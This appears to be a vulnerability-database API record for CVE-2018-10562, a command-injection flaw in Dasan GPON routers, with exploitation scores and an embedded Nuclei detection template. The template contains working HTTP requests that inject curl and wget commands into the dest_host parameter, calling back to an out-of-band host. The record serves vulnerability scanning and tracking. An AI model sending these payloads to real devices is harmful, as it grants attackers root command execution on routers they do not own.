{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2018-10562/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2018-10562/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2018-10562/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2018-10562/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2018-10562/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2018-10562"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2018-10562"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.99949,
      "kev": true,
      "percentile": 0.99973
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2018/CVE-2018-10562.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2018-10562\n\ninfo:\n  name: Dasan GPON Devices - Remote Code Execution\n  author: gy741\n  severity: critical\n  description: Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.\n  impact: |\n    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands with root privileges on the affected device.\n  remediation: |\n    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.\n  reference:\n    - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router\n    - https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-10562\n    - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/\n    - https://github.com/ethicalhackeragnidhra/GPON\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2018-10562\n    cwe-id: CWE-78\n    epss-score: 0.99949\n    epss-percentile: 0.99973\n    cpe: cpe:2.3:o:dasannetworks:gpon_router_firmware:-:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: dasannetworks\n    product: gpon_router_firmware\n  tags: cve,cve2018,dasan,gpon,rce,oast,kev,dasannetworks,vkev,vuln\nvariables:\n  useragent: '{{rand_base(6)}}'\n\nhttp:\n  - raw:\n      - |\n        POST /GponForm/diag_Form?images/ HTTP/1.1\n        Host: {{Hostname}}\n\n        XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;busybox wget http://{{interactsh-url}}&ipv=0\n      - |\n        POST /GponForm/diag_Form?images/ HTTP/1.1\n        Host: {{Hostname}}\n\n        XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;wget http://{{interactsh-url}}&ipv=0\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: {{useragent}}\"\n# digest: 4b0a00483046022100822ebac751e4f48fcdc218c81f9481dd8570faefef1b065bb0ce5c5756bf3e46022100926a6d64fe04e1bfe116b7e19fda8502e947ab59b4cb20a98d61a7431856f828:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2018-10562"
}